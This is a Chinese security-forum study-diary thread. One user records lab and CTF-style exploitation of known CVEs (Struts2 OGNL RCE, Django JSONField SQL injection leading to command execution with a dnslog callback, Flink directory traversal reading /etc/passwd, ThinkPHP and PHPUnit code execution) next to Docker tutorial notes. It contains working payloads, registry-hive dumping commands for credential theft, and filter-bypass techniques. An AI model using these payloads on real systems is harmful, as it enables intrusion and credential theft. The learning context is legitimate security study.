安全矩阵

 找回密码
 立即注册
搜索
查看: 5112|回复: 15

罗珍妮的学习日记

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2021-10-9 00:18:42 | 显示全部楼层 |阅读模式
struts2 代码执行 (CVE-2017-9791
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 攻击者构造恶意字段值(value)通过Struts2struts2-struts1-plugin传递给被攻击主机,从而实现RCE,获取远程主机的控制权限。
访问漏洞存在的路径 /integration/saveGangster.action
在第一个框里输入 ${1+11}进行测试,发现被执行:
payload:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)}
查看当前目录成功了:
试了几遍ls命令失败,抓包试试(抓包大概率可以发现什么东西):
这里看到name部分的payload进行了url转码,把ls命令的payload转码改包试试:
成功了。
慢慢来。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-10-17 23:10:06 | 显示全部楼层
django SQL注入(CVE-2019-14234)
描述: Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。 该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。可以利用CVE-2019-14234(SQL注入漏洞)向服务器传送包含CVE-2019-9193(命令执行漏洞)系统命令的SQL语句,从而利用SQL语句,执行任意系统命令。
查找工具到后台:
Collection中存在JSONField,依题意可以进行漏洞利用。
在GET参数中构造detail__a'b=123提交,其中detail是模型Collection中的JSONField,报错说明存在注入点。
构造shell,创建cmd_exec,执行命令:detail__title')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping 8e5p35.dnslog.cn'--
成功找到flag.
参考链接:https://blog.csdn.net/qq_32171761/article/details/109199635
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-7 21:50:37 | 显示全部楼层
本帖最后由 luozhenni 于 2021-11-7 21:53 编辑

link 目录遍历(CVE-2020-17519)
描述: Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh


目录遍历漏洞利用(笔记):
1:Unix目录遍历攻击
利用目录攻击字符串形如:../
2:windows操作系统目录遍历攻击
可使用:../或..\
3:URL编码形式攻击:
%2e:.
%2f:/
%5e:\
4:Unicode/Utf-8编码形式攻击
......
目录遍历变异:
1:加密参数传递的数据:
在Web应用程序对文件名进行加密之后再提交,比如:“downfile.jsp?filename= ZmFuLnBkZg- “,在参数filename用的是Base64加密,而攻击者要想绕过,只需简单的将文件名加密后再附加提交即可。所以说,采用一些有规律或者轻易能识别的加密方式,也是存在风险的。
2:通过url编码绕过
filename= %66%61%6E%2E%70%64%66
3:特殊符号绕过:
攻击者可以通过某些特殊的符号““来绕过。形如这样的提交“downfile.jsp?filename=/../boot”
4:文件后缀过滤:
可在文件名后放一个空字节的编码,绕过文件类型的检查。
例如:../../../../boot.ini%00.jpg,Web应用程序使用的Api会允许字符串中包含空字符,当实际获取文件名时,则由系统的Api会直接截短,而解析为“../../../../boot.ini”。
在类Unix的系统中也可以使用Url编码的换行符,例如:../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名,会截短为文件名。也可以尝试%20,例如: ../../../index.jsp%20
5:绕过来路验证
绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可
来源:https://cloud.tencent.com/developer/news/60212

目录遍历
漏洞攻击方式
直接访问想要访问的文件
…/
…\
…;/

目录遍历看这里:
原文链接:https://www.cnblogs.com/AtesetEnginner/p/11064279.html


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-8 22:52:06 | 显示全部楼层
本帖最后由 luozhenni 于 2021-11-8 22:53 编辑

docker实战学习笔记

建立一个网站监控器
需求:打造一个新网站,并受到相应的监控,可以通过电子邮件,告知他们的团队服务器宕机了。

安装并开始运行NGINX的容器:
Docker run --detach \
--name web nginx:latest
安装并开始运行邮件程序:
Docker run -d \
-- name malier \
最后一个组成部分:监控室,非常适合交互式容器。
运行交互式容器:
Docker run --interactive --tty \
--link web:web \
--name web_test \
Busybox:lastest /bin/sh
-i选项告诉docker保持标准输入流对容器开放,即使容器没有终端连接。
-t选项告诉docker为容器分配一个虚拟机终端,这将允许你发信号给容器。
与交互式的标志同样重要的是,当你启动这个容器,得让程序在容器内运行起来。
运行一个叫sh 的shell程序就可以在容器中运行如何程序。
用交互式容器的命令创建一个容器,启动一个UNIX shell 命令被链接到运行nginx的容器上,你可以在shell上运行一个命令来验证web服务器是否运行正常:
Wget -o - HTTP://web:80 /
这个名为wget的程序,将一个http请求发送到web服务器,然后在终端上显示网页的内容。在内容的其他行,应该有”welcome to NGINX”这样的消息。
输入exit终止程序。
也可以先创建再启动进程。
启动监控器:
docker run -it \
  --name agent \
  --link web :insideweb \
  Dockerinaction/ch2_agent
运行后该容器将每秒测试web容器,并打印:system up
测试:
Docker ps
检查那些容器正在运行。
信息包括:ID,使用的镜像,容器中执行的命令,容器运行的时长,暴露的网络端口,容器名。
检查日志://web容器输入
Docker logs web
看到”GET /http/ 1.0”200
邮件:
Docker logs mailer
CH2 Example Mailer has started
监视器:
Docker logs agent
SYstem up
一个更好的办法:使用存储卷来处理日志数据//不知道
继续测试当web服务器停止时监控器是否会发送通知:
Docker stop web//暂停
Docker logs mailer//检查邮件服务日志
出现:
“Sending email:to:admin@work message:the service is down!




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-9 23:14:28 | 显示全部楼层
LSA  Secrets
用户和系统的敏感数据都储存在LSA Secrets注册表中,只有系统管理员权限才能访问。
LSA Secrets在系统中是以注册表的形式存储的,位置:HKEY_LOCAL_MACHINE/Security/Policy/Secrets其安全访问设置为只允许system组的用户拥有权限。
添加管理员访问权限并重新打开注册表时,会显示LSA Secrests 的子目录
$MACHIE.ACC
DefaultPassword
NL$KM
L$RTMTIMEBOMB
此位置包括了被加密的用户的密码,但是,其密钥存储在父路径Policy中
获取明文密码:
(1)模拟场景,设置AutoLogon
利用sysinternals工具套件的AutoLogon设置AutoLogon相关信息。
(2)复制注册表
HKEY_LOCAL_MACHINE\SAM、HKEY_LOCAL_MACHINE\SECURITY、HKEY_LOCAL_MACHINE\SYSTEM
利用系统自带的命令复制注册表项(需要管理员权限),执行下列命令:
C:\>reg.exe save hklm\sam c:\sam.save
C:\>reg.exe save hklm\security C:\security.save
C:\>reg.exe save hklm\system C:\system.save
将导出的三个文件放入文件夹中,使用脚本加载,在返回结果中可以看到出现了明文密码。


回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-9 23:47:09 | 显示全部楼层
本帖最后由 luozhenni 于 2021-11-9 23:51 编辑

yapi 代码执行
描述: API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

注册:

创建新项目:


创建接口:
找到脚本位置并且加入poc



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-10 18:04:52 | 显示全部楼层
phpunit 远程代码执行 (CVE-2017-9841)
描述: PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架。 通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。
用御剑扫出存在漏洞的页面,或者/ip/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
然后抓包,改包添加<?php phpinfo();?>成功,然后找到flag

改包后直接放包到页面去看也行。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-12 00:15:06 | 显示全部楼层
本帖最后由 luozhenni 于 2021-11-12 00:16 编辑

Docker 实战
已解决的问题和PID命名空间
每一个运行的程序或进程,在linux机器都有一个唯一的编号,叫做进程标识符(PID)
一个PID命名空间是一组识别进程的数字。
从进程的一个命令空间角度来看,PID1可能是指像runit或supervisord这样的init系统进程。在不同的命名空间中,PID1可能是指诸如bash的shell命令。
为每一个容器创建一个PID命名空间是Docker的关键特征。
若没有PID命名空间,在一个容器内运行的进程将和其他容器或主机共享相同的ID空间。
一个容器中的进程可能控制其他容器中的进程。
Docker run --pid host busybox:latest ps
回想前面的web服务器监控的示例,假设没有使用docker,只是在机器上直接运行nginx,如果忘记了已经为另一个程序启动了nginx,再次启动nginx时,第二个进程将不能访问它需要的资源,因为第一进程占用了这些资源。
尝试:
Docker run -d --name webConflict nginx:latest
Docker logs webConflict
Docker exec webConfilct nginx -g ‘daemon off;’
端口冲突
解决:
Docker run -d --name webA nginx:latest
Docker logs webA
Docker run -d --name webB nginx:latest
Docker logs webB
当两个程序尝试绑定到同一网络端口时,则会发送同一类型的冲突。
常见问题的冲突:
两个程序想要绑定到相同的网络端口
两个程序都使用相同的临时文件名和文件锁
两个程序想要使用不同版本且全局已安装的库
同一程序的两个副本要使用相同的PID文件
第二个安装的程序修改了另一个程序正在使用的环境变量,导致第一个程序中断。
———————————————————————————————————————
敏感目录泄露
Git文件泄露
Git中有仓库的设置信息,包括电子邮件、用户名等,它提供一系列的脚本,可以在每一个有实质意义的阶段让它们自动运行,.git文件泄露的危害很大,可以直接从源码中获取敏感配置信息(如邮箱、数据库配置等)也可以进一步审计代码,挖掘出文件上传,sql注入等安全漏洞。
Git作为一个版本控制工具,会记录每次提交的修改。
可以利用git reset命令恢复到以前的版本。
Git reset --hard HEAD^
或者通过git log --stat再用git diff HEAD commit-id
除了查看源码的常见利用方式,泄露的git中也可能有其他有用的信息,如.git/config文件夹中可能含有access_token信息,从而可以访问这个用户的其他仓库。
SVN泄露
可以利用.svn/entries或wc.db文件获取服务器源码等信息。
HG泄露
在初始化项目时,HG会在当前文件夹下创建一个.hg隐藏文件夹,其中包含代码和分支修改记录等信息。
敏感备份文件
gedit备份文件
后缀为~的文件
Vim备份文件
.文件名.swp
利用vim -r命令恢复文件内容
常规:
Robots.txt
Readme.md
www.zip/rar/tar.gz
Vim第一次意外退出为*.swp,第二次为*.swo,第三次为*.swn//可以看vim官方手册。
Banner识别
1、指纹库
2、工具
———————————————————————————————————————
Whois查询
就是一个用于查询域名是否已经被注册以及注册的郁闷的详细信息的数据库(域名所有人、域名注册商)
在whois查询中,得到注册人的姓名和邮箱信息通常对测试个人站点特别有用,因为我们可以通过搜索引擎和社交网络挖出域名所有人很多信息,对中小站点而言,域名所有人往往就是管理员。
———————————————————————————————————————
文件上传漏洞的几种绕过方法:
原文链接:https://mp.weixin.qq.com/s/SWfm0Gi3zr_0mVVOf7Z9FA
1、客户端avascript检测
2、服务端MIME类型检测
3、使用Burp抓包,更改POST报文中的content-type字段的内容。若表单由多个数据(多部分实体),则需要使用boundary指定分隔符,用于封装消息的多个部分的边界,存储在报文主体中。需要更改的content-type字段也不是报文首部的content-type字段,而是存储在报文主体中对应上传文件的content-type字段。

4、黑名单检测(文件扩展名检测)
黑名单:代码文件中包含一个数组或列表,其值为一些非法字符或字符串,当数据报包含有符合该列表的字符串时,就认定该数据包是非法的
确认黑名单的方法:随意构造一个必定不在列表中的数据包,若能上传则说明是黑名单检测
绕过姿势:通过抓包修改后缀名

利用后缀大小写进行绕过:Windows中对大小写是不敏感的
利用空格绕过:Windows在保存文件时,会自动去除末尾的空格
利用 . 绕过:Windows在保存文件时,会自动去除末尾的 .
利用:DATA绕过:在Windows中,如果文件名 + :DATA会把:DATA之后的数据当成文件流处理,不会检测后缀名,且保持:DATA之前的文件名
利用双写后缀绕过:有些代码中,会将数据包中符合黑名单列表的字符串替换为空,而不会直接报错。这就导致了在上传成功后,访问不到之前上传的文件(因为文件后缀被替换为空)

回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-14 15:02:40 | 显示全部楼层
本帖最后由 luozhenni 于 2021-11-14 15:18 编辑

thinkphp-2x-rce 代码执行
描述: ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。 ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

http://vulfocus.fofa.so:63164/index.php/1/2/3/$%7B@phpinfo()%7D


preg_replace /e 模式下的代码执行问题:
原文链接:https://blog.csdn.net/weixin_49656607/article/details/119833707
案例分析:
<?php
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
    @eval($_GET['cmd']);
}
preg_replace 使用了 /e 模式,导致了代码可以被执行,使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行,preg_replace 在匹配到正则符号后就会被替换字符串,也就是第二个参数 'strtolower("\\1")'  所代表的的内容将被执行。
好像慢半拍???算了算了。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
 楼主| 发表于 2021-11-15 21:17:29 | 显示全部楼层
构建一个网站农场;
另一个实例:
客户要求你建立一个系统,为客户承载可变数量的网站,他们也想利用前面构建的监控技术。简单地扩展之前的系统,是完成这个任务最简单的方式。而不是去定制NGINX配置,你将构建多个容器运行web服务器以及针对每个服务器的监视器。

但是简单的创建多个nginx容器副本是个坏主意:
创建第二次会出现冲突错误,原因是使用的相同的容器名,在默认的情况下Docker分配唯一的名字给每一个容器,如果名字需要改变可以通过docker rename命令重命名该容器。
重命名容器可以减轻一次性命名冲突,但无法用来避免首要问题。除了名称,docker分配一个唯一的标识符,当容器以守护模式启动,标识符将打印到终端,可以在任何命令中使用这些标识符,而不是用容器名来指代特定的容器。
例如你可以使用该ID执行stop或exec命令
Docker exec \标识符\ ps
ID 特别适合脚本和自动化技术。
Docker 第一种获得ID的方法是:简单的启动或创建一个新容器,将命令的结果赋值给一个shell变量。但是如果只想在创建容器时得到容器ID,交互式容器是无法做到的。
可以用另外的命令创建一个容器而无须启动它。
Docker create
如果使用的是Linux shell命令类似sh或bash,你可以简单地将结果分配给一个shell变量,以后可以再次使用它:
CID=$(docker create nginx:latest)
Echo $CID
在POSIX兼容的shell中才能工作。
shell变量为冲突创造了新的机会,但是可以避免的。但是避免方法存在问题,在这种情况下,你可以使用一个容器ID(CID)文件。
Docker create --cidfile /tmp/web.cid nginx
Cat /tmp/web.cid
该CID文件的名字必须已知。
可以使用其他方法获得ID
Docker ps
例如,你想获得最后创建的那个容器截断ID:
CID=$(docker ps --latest --quiet)
Echo $CID
如果想获得完整的容器ID 可以使用docker ps命令的--no-trunc选项
docker也为每个容器生成了一个可读的名称。
Docker ps仅显示默认运行的容器,想看到所有的容器使用-a选项。
确定创建容器后可以使用docker start命令启动
Docker start $AGENT_CID
Docker start $WEB_CID
但是会出现问题,顺序错了,需要先启动web容器。循环依赖是不可能使用Docker容器关系来构建的。
可以将这一切融合在一起,成为一个简单的脚本:
MAILER_CID=$(docker run -d dockerinaction/ch2_mailer)

WED_CID=$(docker run -d nginx)

AGENT_CID=$(docker run -d \
  --link $WEB_CID:insideweb \
  --link $MAILER_CID:insidemailer \
Dockerinaction/ch2_agent)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 12:39 , Processed in 0.017272 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表